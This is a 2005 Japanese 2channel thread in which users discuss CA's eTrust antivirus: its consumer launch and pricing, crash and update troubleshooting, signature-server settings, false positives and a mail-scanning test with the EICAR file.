個人は購入不可なんでしょうかね

317 :名無しさん@お腹いっぱい。:05/03/18 20:43:59
>>316
Amazonでも1ユーザー版が買えるぞ。

318 :名無しさん@お腹いっぱい。:05/03/18 23:44:06
eTrustに最近乗り換えたんですが・・・
突然PCが、シャットダウン完了したときの「プツン」と言う音と一緒に1瞬電源が切れ、勝手に再起動しました。

そのあとちょっと安定するのを待っていると、
「システムは深刻な問題から復帰しました。このエラーをマイクロソフトに報告して下さい」と、
いつもとちょっと違うエラー報告が出てきたので報告すると、下のようなことが書いてあるページに移動しました。

「エラーの原因はデバイス ドライバです

エラー レポートを送信いただき、ありがとうございます。
Microsoft では、報告された問題の原因を特定できません。
(中略)
ファイアウォールやウイルス対策プログラムのようなソフトウェアによってもドライバはインストールされます。
新しいソフトウェアをインストールした後でこの問題が発生した場合は、
そのドライバをインストールしたソフトウェアが問題の原因であることが考えられます。
そのソフトウェアの製造元がわかっている場合は、製造元の製品サポート サービスにお問い合わせください」

とのことです。
avastにシャットダウン画面でフリーズするというバグがあったように、
これはeTrustの抱えるバグの一つなんでしょうか?

参考までにスペック書いておきます。
Microsoft WindowsXP HomeEdition SP2 Ver.2002
Celelon(R)CPU2.40GHz 248MBRAM
富士通のFMVです。

判断に足りない情報があればおっしゃていただければ公開します。
すいません、よろしくおねがいします。


319 :名無しさん@お腹いっぱい。:05/03/19 00:02:39
そういったバグは聞いたこと無いような。
ひょっとしたら、ファイアウォールとか他の常駐ソフトとの相性があるのかもしれないけど。

320 :318:05/03/19 00:04:25
そうですか・・・・わかりました。
とりあえずまだ1回しか起きていないので、様子を見ることにします。
何度も同じことが発生するようならOS再インストール、してみます・・・

ありがとうございました^^

321 :名無しさん@お腹いっぱい。:05/03/19 14:03:11
>>318
outpost入れてたりしない?

あと、OSの再インストールなんてする前に、
心当たりあるソフトをアンインストールしてみて原因究明したほうがいいよ。

322 :名無しさん@お腹いっぱい。:05/03/20 01:00:35
outpost・・・・   名前すら存じ上げません_| ̄|○

そうですね・・・・
再インストール決心したとしても、とりあえずいろいろ試してからにします。
どうせ消すんだから問題ないですよね。それなら究明した方がいいですねえ。

もっとも、今のところまだ1回なので・・・・
すいません、以降呼ばれるまで普通に潜伏します。

ありがとうございました。

323 :名無しさん@お腹いっぱい。:2005/03/23(水) 17:15:07
http://japan.cnet.com/news/sec/story/0,2000050480,20081524,00.htm?ref=rss
これはなに?見出し見ただけなんだけど

324 :名無しさん@お腹いっぱい。:2005/03/23(水) 17:24:17
eTrust EZ AntivirusとあるからeTrust EZ Armorの奴と一緒?

325 :名無しさん@お腹いっぱい。:2005/03/23(水) 18:22:56
General Update

NT -ADMIN SERVER SHOWS WINXP AS"WINDOWS XP/.NET
PRODUCT: eTrust Antivirus EE RELEASE: 7.0 APAR #: QO65517 DATE: 15 MAR 2005 PROBLEM DESCRIPTION: NT -ADMIN SERVER SHOWS WINXP AS"WINDOWS XP/.NET Etrust AV Admin server version 7.0.0405 displays discovered computers running windows 2003 or
O/S: NT Fix:QO65517 Hyper: No
Component: eTrust AntiVirus Release:7.0


326 :名無しさん@お腹いっぱい。:2005/03/23(水) 20:57:04
>>325
おつ

327 :名無しさん@お腹いっぱい。:2005/03/23(水) 22:07:06
>>323
ttp://internet.watch.impress.co.jp/cda/news/2005/03/23/6948.html
こっちにも

>ウイルス定義ファイルやソフトウェア本体の更新が受けられる
>ラインセンス有効期間は1年間
どうなるんだろ?プロモ版

328 :名無しさん@お腹いっぱい。:2005/03/24(木) 00:38:39
>>324
これと同等品
http://home.ca.com/dr/sat1/ec_MAIN.Entry10?SP=10023&PN=1&xid=35715&V1=677538&DSP=&CUR=840&PGRP=0&CACHE_ID=183516

329 :名無しさん@お腹いっぱい。:2005/03/24(木) 01:39:52
グッジョブ
これで、やっとCAのeTrustブランドが家電量販店でも入手可能になるのか

330 :329:2005/03/24(木) 01:44:31
パッケージとインターフェイスのギャップにワロタ。
まぁ、赤のバスター(マカフィー)、黄色のノートン
青のeTrustってか。ソースと被る気もしないことはないが。
個人的には英語版と同じようなパッケージにして欲しかったな。

331 :名無しさん@お腹いっぱい。:2005/03/24(木) 06:29:58
いつもウイルスソフト全体に思うんだが「定義ファイルの更新は一年間」・・・?って
一年過ぎたら致命傷ってことだよね。
いやだったら金払えかぁ〜この仕組みが理解できん。
ソフトは多少古くなっても仕方ないけど定義ファイルぐらいは無料で更新して欲しいな。

332 :名無しさん@お腹いっぱい。:2005/03/24(木) 12:38:19
イマイチ盛り上がらねぇな
本当に心配になってきた

“個人向けでは後発”のCAに勝算は
http://www.itmedia.co.jp/enterprise/articles/0503/23/news083.html

333 :名無しさん@お腹いっぱい。:2005/03/24(木) 12:48:47
>>331
そんなおまいは期限無しフリーで提供されているものでも使っとけ。
消費者側の我侭視点だけで物を考えるなら理解できんだろうな…

334 :名無しさん@お腹いっぱい。:2005/03/24(木) 14:39:44
逆に本体は完全無料で定義ファイルの価格オンリーにすべき、とは思うが

335 :名無しさん@お腹いっぱい。:2005/03/24(木) 17:45:56
ダウンロード販売の値段は大して変わらんだろ。

336 :名無しさん@お腹いっぱい。:2005/03/24(木) 22:58:27
>>332
しかたないね
あんまり気にしない人はとりあえず先生かVBだからね
重かろうがなんだろうが
ここにいるやつはもう使ってるしなぁ
なにか売りポイントは

337 :名無しさん@お腹いっぱい。:2005/03/25(金) 20:57:57
>>325

これいれるとおかしくならない?

338 :名無しさん@お腹いっぱい。:2005/03/26(土) 04:48:25
>>333
> そんなおまいは期限無しフリーで提供されているものでも使っとけ。

ぞれで行ければいいだがな、その内そうはいかなくなるだろうな。w

> 消費者側の我侭視点だけで物を考えるなら理解できんだろうな…

CAはそんな苦しいのか?!しかし333は思い込み激しいなぁ!

339 :名無しさん@お腹いっぱい。:2005/03/26(土) 04:51:38
全く関係ないが、早起きだな。

340 :名無しさん@お腹いっぱい。:2005/03/26(土) 06:08:27
>>337
その聞き方だと「自分はいれておかしくなったけど、みんなはどうよ」と聞いているのか、
「不具合怖くて入れてないんです。人柱さん報告ください」といっているのかわからんだろ。

341 :名無しさん@お腹いっぱい。:2005/03/26(土) 13:22:40
>>337
個人ユーザーには必要ない修正だと思うが。

342 :名無しさん@お腹いっぱい。:2005/03/30(水) 23:32:41
ダウンロード版はあさって発売か。

343 :名無しさん@お腹いっぱい。:2005/03/31(木) 12:35:55
ダウンロード版はあした発売か。

344 :名無しさん@お腹いっぱい。:2005/03/31(木) 20:48:53
3980円で更新料2980円か。もうちょっと安かったら買ったのに・・・

345 :名無しさん@お腹いっぱい。:皇紀2665/04/01(金) 01:44:50
ダウンロード版はきょう発売か。

346 :名無しさん@お腹いっぱい。:皇紀2665/04/01(金) 09:49:55
値段がビミョー。。。

347 :名無しさん@お腹いっぱい。:皇紀2665/04/01(金) 10:43:25
http://www.caj.co.jp/homestore/
で発売中。。。

348 :名無しさん@お腹いっぱい。:皇紀2665/04/01(金) 19:35:46
EZ AVみたいに買い得な感じがしないしトライアルがめんどう

349 :名無しさん@お腹いっぱい。:皇紀2665/04/02(土) 00:13:24
アンケート取ってライセンス更新料が高いという結果をふまえた割には
フツーな更新料を設定してるからな。
こりゃ売れないだろ。

350 :名無しさん@お腹いっぱい。:皇紀2665/04/02(土) 02:49:16
とりあえずパッケージ版が出たら買っとく

351 :名無しさん@お腹いっぱい。:2005/04/02(土) 04:03:52
同じく

352 :名無しさん@お腹いっぱい。:2005/04/02(土) 09:27:39
アンチウイルスとアンチスパイウェアだけか。
ファイアウォールもおながいしますよ

353 :名無しさん@お腹いっぱい。:2005/04/02(土) 10:38:05
若干スレ違いかもしれませんが、

ttp://www.caj.co.jp/press/2005/03/consumer.htm

> CA、コンシューマ向けセキュリティ対策ソフトを日本で販売開始
> 〜12万種ものスパイウェアに対応する専用対策ソフトが新登場〜
> 〜「軽快・簡単・使いやすい」 新しいアンチウィルス・ソフトも同時発売〜

> 4月より販売を開始するCAのコンシューマ向けセキュリティ対策製品は、以下の4製品です。
>
> ウイルス対策ソフト:
> 「eTrust アンチウイルス 2005」 (ダウンロード版、店頭パッケージ版)
> 「eTrust アンチウイルス 2005 (特別優待版)」 (店頭パッケージ版)
>
> スパイウェア専用対策ソフト:
> 「eTrust PestPatrol アンチスパイウェア 2005」 (ダウンロード版、店頭パッケージ版)
>
> 発売記念キャンペーンパッケージ:
> 「eTrust おまかせバリューパック」 (ダウンロード版、店頭パッケージ版)

> これらの新製品は、2005年4月1日より、CAの直営Eコマースサイト「CAストア(ttp://store.caj.co.jp/)」にて発売し、
> 順次国内の主要なインターネット・ショッピング・サイトでも販売いたします。また引き続き、4月22日より、全国の
> 大手家電量販店でも販売いたします。

との発表がありました。



354 :353:2005/04/02(土) 10:45:47
旧アドレス側から間違えて書き込んでしまいました。
吊ってきます。


355 :名無しさん@お腹いっぱい。:2005/04/07(木) 10:24:20
プロモ版にはパッチ当てられる?

356 :名無しさん@お腹いっぱい。:2005/04/07(木) 11:37:28
>>355
yes

357 :名無しさん@お腹いっぱい。:2005/04/07(木) 13:35:42
プロモにパッチ当てるとclientになる

358 :名無しさん@お腹いっぱい。:2005/04/07(木) 15:15:44
コンシューマ向け製品のレポが全くないな。。。
誰か買った香具師いないの?

359 :名無しさん@お腹いっぱい。:2005/04/08(金) 07:50:47
ttp://japan.zdnet.com/news/sec/story/0,2000052528,20082511,00.htm
CAの侵入検知システムにDoS攻撃につながる脆弱性
Computer Associates International(CA)の侵入検知システム
「eTrust Intrusion Detection System」にDoS(サービス拒否)
攻撃につながる脆弱性が見つかったと、・・・・

360 :名無しさん@お腹いっぱい。:2005/04/09(土) 08:28:21
脆弱性を知っていて使う俺は弱者かぁ〜?!

361 :名無しさん@お腹いっぱい。:2005/04/09(土) 10:13:13
案ずるな、己の弱さを知ることこそ、強者への第一歩だ

362 :名無しさん@お腹いっぱい。:2005/04/09(土) 21:40:15
>>359
eTrustには違いないけど、個人でeTrustIDSを持ってるやつはいねーだろ

363 :名無しさん@お腹いっぱい。:2005/04/13(水) 12:36:40
eTrustのイメージ図


     ∧_∧
    ( ・∀・) 
    ⊂|、,  つ  きゅっ
     ((,  |
     | |  ノ
     (.(_)

364 :名無しさん@お腹いっぱい。:2005/04/13(水) 19:16:17
仁義なきキンタマに対応してないから糞

365 :名無しさん@お腹いっぱい。:2005/04/13(水) 19:41:42
また割れ厨か

366 :名無しさん@お腹いっぱい。:2005/04/13(水) 21:08:51
無料版は7.0だけ?

367 :名無しさん@お腹いっぱい。:2005/04/13(水) 21:20:35
>>366
>>2

368 :名無しさん@お腹いっぱい。:2005/04/13(水) 23:42:58
なんだかupdateサイト全部落ちてね?

369 :名無しさん@お腹いっぱい。:2005/04/14(木) 00:52:27
JavaScriptがONなら問題なし

370 :名無しさん@お腹いっぱい。:2005/04/18(月) 21:39:44
今日、人生初の逆ナンパされた。
俺のどもりなんて全然きにしてないみたい。
なんか可愛くって優しくて凄くいい子だった。
で、絵を売る仕事をしているらしくて、
男気を見せるためにラッセンの絵を買った。
今絵を飾っているけどマジでカッコイイ。
47万円の価値は充分にあると思う。

371 :sage コピペに釣られてみる:2005/04/18(月) 21:44:36
良い買い物をしたね

でもそれ・・・

詐欺ですから!wwwww残ねんww

372 :名無しさん@お腹いっぱい。:2005/04/18(月) 22:45:06
ラッセンの時計は意外に知られていない

373 :名無しさん@お腹いっぱい。:2005/04/19(火) 02:26:21
ラッセン自体が何だか分からない。ラッセル車なら分かるが。

374 :名無しさん@お腹いっぱい。:2005/04/19(火) 11:09:02
コピペに反応すべからず

375 :名無しさん@お腹いっぱい。:2005/04/19(火) 18:26:30
ひっそりとアレに対応しました

376 :名無しさん@お腹いっぱい。:2005/04/20(水) 00:51:48
座布団もってって〜

377 :名無しさん@お腹いっぱい。:2005/04/22(金) 01:45:21
本日店頭販売開始age

378 :名無しさん@お腹いっぱい。:2005/04/22(金) 06:55:49
ファイアウォールも出してくれれば買うんだけどなぁ

379 :名無しさん@お腹いっぱい。:2005/04/23(土) 19:49:25
このソフトインスコしたら、何やら起動時にADSLルーターのランプが頻繁に点滅して
どこかに繋げてるけど、どうなってるの?
アンインスコしたら、どこにも繋がらないし、ルーターのランプも点灯しないので、このソフトが
どこかに繋げてると思うのだけど・・・。

380 :名無しさん@お腹いっぱい。:2005/04/23(土) 19:50:32
アップデートだろ(inostとかいうやつ)
どのソフトでもあるだろ

381 :名無しさん@お腹いっぱい。:2005/04/23(土) 19:53:13
フリーのAVGには無かったもので・・・。
これって起動時のアップデートを止める設定とかあったっけ?
スパイウェアとまぎらわしいので、手動でのみアップデートしたい。

382 :名無しさん@お腹いっぱい。:2005/04/23(土) 20:34:54
>381
新スレになってからはその話題出てないね。
サービスでeTrust Antivirus Job Serverを無効にすべし。

383 :381:2005/04/23(土) 22:17:26
>>382
サンクスコ。
フリーのAVGが2000Serverにインスコできなくなったので、困ってました。
しばらく、こちらを使おうと思います。

384 :名無しさん@お腹いっぱい。:2005/04/23(土) 22:35:20
>>383
3にあるパッチとドライバのアップデートはあてて
おけばさらにOK

385 :名無しさん@お腹いっぱい。:2005/04/24(日) 08:54:04
これを入れている俺は勝ち組みですね?

386 :名無しさん@お腹いっぱい。:2005/04/24(日) 10:01:00
なんにも警告が出てなかったけど
久しぶりにログを見てみたらメールから結構ちゃんとウィルスを削除してくれてたらしい

387 :名無しさん@お腹いっぱい。:2005/04/24(日) 16:57:39
ここは幸せですね。
検出率がどうこううるさい輩がいますが、あんなアホどもはその
セキュリティ万全のソフトでバンバンウィルスにかかってくださいってもんだ!

388 :名無しさん@お腹いっぱい。:2005/04/24(日) 19:57:02
対岸の火事っつーとこですかね。m9(^Д^)プギャー

389 :名無しさん@お腹いっぱい。:2005/04/24(日) 20:00:40
>>387
意味不明。検出率が低いソフトの方が感染するんじゃないのか?

390 :名無しさん@お腹いっぱい。:2005/04/24(日) 20:10:44
このスレに感染した香具師いるんか?

391 :名無しさん@お腹いっぱい。:2005/04/24(日) 21:17:10
検出力の高さを過信して対応してないやつに
引っかかるとか言いたいんじゃないの?

392 :名無しさん@お腹いっぱい。:2005/04/24(日) 21:28:46
これでしばらく検出率厨のコピペもないのかなー?w

393 :名無しさん@お腹いっぱい。:2005/04/24(日) 21:38:02
>>391
それは使い方の問題であってソフトには関係ないことだと思うけどね・・・

394 :名無しさん@お腹いっぱい。:2005/04/24(日) 23:49:38
ウイルス対策ソフトの検出力調査結果
http://www.geocities.jp/stealrush/security.html

395 :名無しさん@お腹いっぱい。:2005/04/25(月) 09:33:00
おいおいなんでITエンジンはテストしねえんだよ!!!

396 :名無しさん@お腹いっぱい。:2005/04/25(月) 09:49:08
ほんとうに賢い人間だけがここのソフト使ってるから、
そんな糞テストなんてまったく気にする必要なし。

397 :名無しさん@お腹いっぱい。:2005/04/25(月) 14:17:51
マヘンドラ・ネギってのもすごい名前だね。

398 :名無しさん@お腹いっぱい。:2005/04/25(月) 17:39:19
一昨年亡くなったネパール前国王の名前もマヘンドラだよ
北インドでは普通の名前だってさ

399 :名無しさん@お腹いっぱい。:2005/04/25(月) 17:41:18
ttp://www.canon-sol.co.jp/security/v_b/pdf/01_VB_Jun03_VBJP.pdf 7/12ページ
ttp://www.canon-sol.co.jp/security/v_b/pdf/03_VB_Aug03_VBJP.pdf 7/12ページ
ttp://www.canon-sol.co.jp/security/v_b/pdf/09_VB_Feb04_VBJP.pdf 7/12ページ

eTrustって凄かったんですね。いままで馬鹿にしてごめんなさい。

400 :名無しさん@お腹いっぱい。:2005/04/25(月) 21:54:09
>>394
低いねw
こんなソフトで大丈夫?

401 :名無しさん@お腹いっぱい。:2005/04/25(月) 22:18:49
すぐ上が読めないのか?

402 :名無しさん@お腹いっぱい。:2005/04/25(月) 22:24:35
まあ読めない低脳だから、こんなつまらん煽りをして楽しんでるんでしょ。

403 :名無しさん@お腹いっぱい。:2005/04/26(火) 00:23:52
あのなあ、昔からそうだが「低能」を「低脳」と間違えるのをいい加減に直せよ。>雑音
みんな気づかないふりをして笑っているんだよ。。

http://science3.2ch.net/test/read.cgi/infosys/1029592718/168
168 :出張32 ◆Rb.XJ8VXow :02/11/30 18:59
>>166
とっくに回答済みです。
君達が余りにも低脳なんで理解出来ないだけのようですね♪

404 :名無しさん@お腹いっぱい。:2005/04/26(火) 09:07:00
田中ウイルスに対応しました。Win32/Tanaka!Dropper

405 :名無しさん@お腹いっぱい。:2005/04/26(火) 19:04:47
【スパイウェア】SpywareGuard【感染阻止】
http://pc8.2ch.net/test/read.cgi/sec/1114441832/

406 :名無しさん@お腹いっぱい。:2005/04/27(水) 00:19:17 ?
7,1の試用版いれてるけどとくに期限切れてもなんにも行ってこないね。
その場合は7.0からのアップデートだけど。

407 :名無しさん@お腹いっぱい。:2005/04/27(水) 20:22:09
eTrust アンチウイルス2005をセット後に、EZAntivirusの更新するとユーザー登録サイトが立ち上がってきます
登録しないと毎回出てきてしまいます。
これを登録せずに登録したように出来ないでしょうか

408 :名無しさん@お腹いっぱい。:2005/04/27(水) 22:15:00


409 :名無しさん@お腹いっぱい。:2005/04/28(木) 16:41:44
これはもう対応してますか?

google.comと間違えてgoogkle.comに飛ぶとPC乗っ取り
http://news19.2ch.net/test/read.cgi/news/1114648359/

410 :名無しさん@お腹いっぱい。:2005/04/28(木) 22:11:06
オク

411 :名無しさん@お腹いっぱい。:2005/04/29(金) 00:23:08
サン

412 :名無しさん@お腹いっぱい。:2005/04/29(金) 01:39:18
(;´д`)ハァハァ

413 :名無しさん@お腹いっぱい。:2005/04/29(金) 03:55:56
>>410-412
ワラタ

414 :名無しさん@お腹いっぱい。:2005/04/29(金) 23:55:39
eTrustのこれだけはしとけってバージョンアップファイルある?

415 :名無しさん@お腹いっぱい。:2005/04/29(金) 23:56:15
ミルポン対応してるね。

416 :名無しさん@お腹いっぱい。:2005/04/29(金) 23:58:42
訂正
メルポンだた

417 :名無しさん@お腹いっぱい。:2005/04/30(土) 01:34:35
>>414
テンプレも読まないヤツには教えたげない

って思ったけど>>5

418 :名無しさん@お腹いっぱい。:2005/05/01(日) 05:01:38 ?
etrust 7.1の日本語プロモ版、別に2週間すぎても何も言われない。

419 :名無しさん@お腹いっぱい。:2005/05/01(日) 08:24:08
プロモ版って7.0じゃないの?

420 :名無しさん@お腹いっぱい。:2005/05/01(日) 11:47:17
バージョン: 7.0.405
ライセンス: Client

421 :名無しさん@お腹いっぱい。:2005/05/01(日) 12:50:44
eTrustアンチウイルス 2005と
eTrustアンチウイルスr.7.1の違いを
教えてください。

2005パッケージ版を購入予定ですが
eTrustアンチウイルス 2005が、 r.7.1日本語版と
あまり大差無いのでしたら更新料無料の r.7.1で我慢します。

422 :名無しさん@お腹いっぱい。:2005/05/01(日) 17:53:26
eTrustアンチウイルス 2005は
メール受信の時にスキャンしますか、

ttp://japan.cnet.com/news/sec/story/0,2000050480,20081524,00.htm?ref=rss

↑ここの画像を見る限り、メールスキャン設定の項目は無いようだが、

423 :名無しさん@お腹いっぱい。:2005/05/01(日) 18:16:10
評価版あるんだから自分で確かめろよ
それくらい自分でやれ

424 :名無しさん@お腹いっぱい。:2005/05/01(日) 19:46:05
分からないんですか?

425 :名無しさん@お腹いっぱい。:2005/05/01(日) 19:55:20
hi

426 :名無しさん@お腹いっぱい。:2005/05/01(日) 19:58:18
>>422
http://store.digitalriver.com/servlet/ControllerServlet?Action=DisplayPage&Locale=ja_JP&id=ProductDetailsPage&SiteID=cajapan&productID=35180700&Env=BASE
主な機能
ウイルス定義ファイルの自動更新
オンデマンド/リアルタイム スキャン
電子メールの自動スキャン
圧縮ファイルのスキャン
未知のウイルスのも対応

受信時にスキャンするかはどうだろ….

427 :名無しさん@お腹いっぱい。:2005/05/02(月) 02:49:53
>>422
評価版で試してみた.
一度リアルタイムスキャンを切ってからEICAR.COMを作成してThunderBirdでhotmail→yahooにメール送信.
その後リアルタイムスキャンをオンにしてからメールの送受信をすると下の画面が出てちゃんとスキャンしてくれてるみたい.
http://kasamatusan.sakura.ne.jp/cgi-bin2/src/matu1913.png
http://kasamatusan.sakura.ne.jp/cgi-bin2/src/matu1914.png

428 :名無しさん@お腹いっぱい。:2005/05/02(月) 08:32:02
>426
>427

有り難うございました。

amazon vectorはパッケージ版の入荷がまだのようですね。
楽天も無し。
大型量販店で見つけました。
もち、注文しました。即納で、


>423

あなた、嫌いです。

429 :名無しさん@お腹いっぱい。:2005/05/02(月) 09:06:48
>>428

あなた、ウザいです。

430 :名無しさん@お腹いっぱい。:2005/05/02(月) 15:50:03
なんで俺様が自分で確かめなくちゃなんねーんだよ
ってな感じか

431 :名無しさん@お腹いっぱい。:2005/05/02(月) 19:35:12
丸一年ぶりくらいにフリー版を入れようと思ったけどインスコ失敗。
シグネイチャーのアップデートでエラーが出る。
パッチの充て方とか色々変えてみてもだめぽ。
・・・昔どうやったか思い出せない。
このソフト、一旦入れるとあとほっぽっといても動いてるんで、思考停止して
しまうのはよしあしかも。
仕方なくAVASTをインスコするが、イマイチ馴染めない。

以上、チラシの裏ですた。

432 :名無しさん@お腹いっぱい。:2005/05/02(月) 20:51:37
>429

おめーには、おながいしておりません。

消えろ。

433 :名無しさん@お腹いっぱい。:2005/05/02(月) 20:55:01
>430は

avgFREEでも使かっとけ。

434 :名無しさん@お腹いっぱい。:2005/05/02(月) 20:56:58
>426
>427

消えろ。

オメーらは立ち入り禁止。

435 :名無しさん@お腹いっぱい。:2005/05/02(月) 21:03:50
7.1が期限切れても警告来ないとレスがあったんですが
本当はどうなんでしょう?
無料なら乗り換えようと思うんですが

436 :名無しさん@お腹いっぱい。:2005/05/02(月) 21:28:04
>>435
バスターでも使ってれば?

437 :名無しさん@お腹いっぱい。:2005/05/02(月) 21:37:11
7.1って業務用じゃん。

438 :名無しさん@お腹いっぱい。:2005/05/03(火) 00:03:45
>>431

シグネチャアップデートオプションはftpav.ca.comに変更した?
パッチはサービス全部止めてから当てないとうまくいかないことがあるよ。

つかヲレ7.0正規ユーザーなんだけど、7.1にアップデートするメリットってある?
8まで待った方がいいのかな?

439 :名無しさん@お腹いっぱい。:2005/05/03(火) 00:13:47
コンシュマー版出た途端変なのが居るな

440 :名無しさん@お腹いっぱい。:2005/05/03(火) 01:24:05
>>438
どうも有難う。
それ触ってないです、試してみます。

しかし、自分の環境でもそれ全くいじらないまま今日までやってきた。
よかったんかなぁ?

441 :名無しさん@お腹いっぱい。:2005/05/03(火) 06:43:13
>顧客にとって,新しいウイルス定義ファイルを
>受けるためにライセンスを毎年更新しなくてはいけないのが
>頭痛の種でした。しかしeTrust Antivirus 7.0を一度購入すれば,
>新しいウイルス定義ファイルは永続的に無料で
>入手できます。これは,コンピュータ・アソシエイツが開始した新しいトレンドです。

7.1でも無料です。


442 :名無しさん@お腹いっぱい。:2005/05/03(火) 06:50:49
ヲレ7.0正規ユーザーだったんだけど

無料で、ver.7.1にアップデートCDを送ってきます他

7.0はCD2枚でしたが、7.1は3枚も入ってました。

Desktops以外は、おいらには無用ですが。

443 :名無しさん@お腹いっぱい。:2005/05/03(火) 07:43:20
eTrustアンチウイルス 2005のエンジンはInoculateIT?vet?それとも中小企業、個人用新開発新エンジン?

444 :名無しさん@お腹いっぱい。:2005/05/04(水) 00:06:34
>>443

eTrust EZ Antivirus2005体験版 30日間
http://store.caj.co.jp/campaign/050401/
eTrust EZ Antivirus2005 1年間無料、英語
http://store.ca.com/dr/v2/ec_main.entry25?page=PYPCtrialPage_MSsite&client=ComputerAssociates&sid=55939&CID=190471

多分Vetだと思うけど報告よろしく。

445 :名無しさん@お腹いっぱい。:2005/05/04(水) 03:00:12
シグネチャページのVetのシグネチャ、
Fullだけなのにリンクは差分じゃん...
ファイル名でわかるけどさ

446 :名無しさん@お腹いっぱい。:2005/05/04(水) 07:21:51
ftp.ca.co.jp

↑ 日本のシグネチャサーバー。pu。

447 :名無しさん@お腹いっぱい。:2005/05/04(水) 07:31:20


http://www.caj.co.jp/down/patch/lo86791.htm

448 :名無しさん@お腹いっぱい。:2005/05/04(水) 08:48:11


ttp://www.casupport.jp/resources/etrustil/tec/21010422.htm

449 :名無しさん@お腹いっぱい。:2005/05/04(水) 08:58:14
eTrust Antivirusでないのですが、

PestPatrol 4.2での障害再発のお知らせとお詫び


ttp://www.casupport.jp/resources/info/050502_etrustpp42.htm

おいおい、おまえもか!

450 :名無しさん@お腹いっぱい。:2005/05/04(水) 11:10:29

パッケージ版PestPatrol 4.2をご使用のお客様は、eTrust PestPatrol アンチスパイウェア 2005 トライアル版をダウンロードして、ご使用下さい。
これってPestPatrol 4.2のキーがeTrust PestPatrolで使えるってこと?

451 :名無しさん@お腹いっぱい。:2005/05/09(月) 01:35:17
F1を見てたらライコネンのヘルメットにCAのロゴが

452 :名無しさん@お腹いっぱい。:2005/05/09(月) 06:52:01
今日はトップだからけっこう目立ったな
前戦なんて...

453 :名無しさん@お腹いっぱい。:2005/05/09(月) 07:07:17
数年前からCAスポンサーになってるよ

454 :名無しさん@お腹いっぱい。:2005/05/09(月) 11:37:55
>>444
インストールフォルダにVet〜ってファイルがあったから多分Vet

eTrust EZ Antivirus2005体験版を使っていたけど,たまにリアルタイムスキャンの設定がオンになっているのにオフで認識されて起動される.
設定ではオンになっているのにアイコンには×マークがついてる状態.
こうなると一度リアルタイムスキャンをオフにして再起動,再起動後リアルタイムスキャンをオンにして再起動と面倒なことをしないといけなくなったんで
プロモ版へ戻した.
マイコンピュータ→右クリック→管理→システムツール→イベントビューア→システムのログには↓のようにあったけど何が原因だろ….
「eTrust Antivirus Realtime Server サービスは予期せず終了しました。これは 1 回発生しています。
詳細な情報は、http://go.microsoft.com/fwlink/events.asp の [ヘルプとサポート センター] を参照してください。」

455 :名無しさん@お腹いっぱい。:2005/05/10(火) 04:55:49
>messengerサービス(MSN/Windowsメッセとは無関係なのもテンプレ入れた方が(・∀・)イイ!!かも)
なるほど、関係ないのね・・・

456 :名無しさん@お腹いっぱい。:2005/05/10(火) 04:56:31
ん?


457 :名無しさん@お腹いっぱい。:2005/05/10(火) 13:27:20
スレ名をご確認してから、ご投稿を。

458 :名無しさん@お腹いっぱい。:2005/05/10(火) 15:07:12
>>453
> 数年前からCAスポンサーになってるよ
じゃなくて、買収されて子会社になったんじゃなかった。

459 :名無しさん@お腹いっぱい。:2005/05/10(火) 19:53:31
>>458
意味が分からないんだが
ここ見る限り買収だの子会社だの出てこないぞ
単なるスポンサー、テクニカルパートナーの付き合いだと

460 :名無しさん@お腹いっぱい。:2005/05/10(火) 19:54:35
張り忘れたorz
ttp://japan.cnet.com/special/story/0,2000050158,20074920,00.htm

461 :名無しさん@お腹いっぱい。:2005/05/10(火) 23:40:37
>>454

レポートどうも。やっぱりVetでしたか・・・。
せめてInoculateITだったらなあ。

微妙なテスト結果
http://www.av-comparatives.org/seiten/test.html

462 :名無しさん@お腹いっぱい。:2005/05/11(水) 07:46:05
QO57720.EXE
を当てたのに
siglist.txtとsiglist2.txt無しエラーが出て更新出来ない
何故だ

463 :名無しさん@お腹いっぱい。:2005/05/11(水) 07:49:55
2005/05/10 22:47:37,0,SYSTEM,0,FTPサーバに接続しています (ftpav2003.ca.com)。
2005/05/10 22:47:40,0,SYSTEM,0,ダウンロード ディレクトリ: C:\Program Files\eTrust Antivirus ScanEngine\Incoming
2005/05/10 22:47:40,0,SYSTEM,0,シグネチャ ファイルのリストをダウンロードしています。
2005/05/10 22:47:42,0,SYSTEM,0,FTPサーバに接続しています (ftpav2003.ca.com)。
2005/05/10 22:47:47,2,SYSTEM,12031,ファイル(/pub/inoculan/ftpav2003/Siglist2.txt)のダウンロード エラーです。
2005/05/10 22:47:47,2,SYSTEM,12031,サーバとの接続がリセットされました。
2005/05/10 22:47:47,2,SYSTEM,0,インターネット エラー メッセージ 200 Type okay.
2005/05/10 22:47:47,2,SYSTEM,0,インターネット エラー メッセージ 200 PORT command successful.
2005/05/10 22:47:47,2,SYSTEM,0,インターネット エラー メッセージ 213 1505
2005/05/10 22:47:47,2,SYSTEM,0,インターネット エラー メッセージ 150 Opening BINARY mode data connection for Siglist2.txt (1505 bytes).
2005/05/10 22:47:47,2,SYSTEM,0,インターネット エラー メッセージ 226 Transfer completed.
2005/05/10 22:47:47,2,SYSTEM,0,インターネット エラー メッセージ 200 Type okay.
2005/05/10 22:47:47,2,SYSTEM,12003,ファイル(/pub/inoculan/ftpav2003/Siglist.txt)のダウンロード エラーです。
2005/05/10 22:47:48,2,SYSTEM,12003,サーバが拡張エラーを返しました。
2005/05/10 22:47:48,2,SYSTEM,0,インターネット エラー メッセージ 426 Nothing to abort.
2005/05/10 22:47:48,2,SYSTEM,0,インターネット エラー メッセージ 426 Nothing to abort.
2005/05/10 22:47:48,1,SYSTEM,10,ダウンロード プロセス 失敗 が完了しました。
これはGMT?

464 :462:2005/05/11(水) 07:56:38
あー、どうやらNISのせいでした。
許可を出すのが手動だったんで即エラー判断されたみたい

465 :名無しさん@お腹いっぱい。:2005/05/11(水) 13:19:07
東方永夜抄つー同人ゲームの得点記録ファイルのscore.datが
MtE DAMEに感染しているという報告を出してきたが
こういう誤認ってたまにある?

466 :名無しさん@お腹いっぱい。:2005/05/12(木) 23:20:48
そりゃああるっしょ。
逆にいえば誤認識しないアンチウイルスソフトは絶対に無いといっても過言ではない。

467 :名無しさん@お腹いっぱい。:2005/05/12(木) 23:24:37
誤検出によって自分で判断がつかないような難しいケースは無いと思われる

468 :名無しさん@お腹いっぱい。:2005/05/13(金) 02:37:04
ないわけねーだろ

469 :名無しさん@お腹いっぱい。:2005/05/13(金) 11:33:13
inoRPCを自動起動しない設定は
どうやればいいの?


470 :名無しさん@お腹いっぱい。:2005/05/13(金) 12:13:11
管理画面のサービスを手動にしてできた

471 :名無しさん@お腹いっぱい。:2005/05/13(金) 12:53:43
お勧め

